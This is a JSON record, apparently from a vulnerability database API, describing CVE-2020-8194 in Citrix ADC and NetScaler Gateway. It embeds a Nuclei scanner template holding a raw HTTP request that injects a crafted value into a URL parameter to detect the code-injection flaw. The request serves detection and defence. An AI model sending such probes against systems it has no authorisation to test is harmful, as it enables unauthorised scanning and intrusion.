{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-8194/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-8194/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-8194/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-8194/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-8194/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-8194"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-8194"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-8194.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2020-8194\n\ninfo:\n  name: Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection\n  author: dwisiswant0\n  severity: medium\n  description: Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.\n  reference:\n    - https://support.citrix.com/article/CTX276688\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-8194\n    - https://github.com/Elsfa7-110/kenzer-templates\n    - https://github.com/SexyBeast233/SecBooks\n    - https://github.com/merlinepedra/nuclei-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2020-8194\n    cwe-id: CWE-94\n    epss-score: 0.10834\n    epss-percentile: 0.9587\n    cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: citrix\n    product: application_delivery_controller_firmware\n  tags: cve,cve2020,citrix,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337\">&id=3&nsvpx=phpinfo HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: startupapp=st\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<jnlp codebase=\\\"nonexistent.1337\\\">\"\n\n      - type: word\n        part: header\n        words:\n          - \"application/x-java-jnlp-file\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221009e954e9c7b446dca8dbee2468850811f66e2ec31b28bbe7b1c69d68c21888fcd02205358c2f5d348c28810e0026ffb84bf25ebd232e70bc44e62f96f226f7e40213f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-8194"
}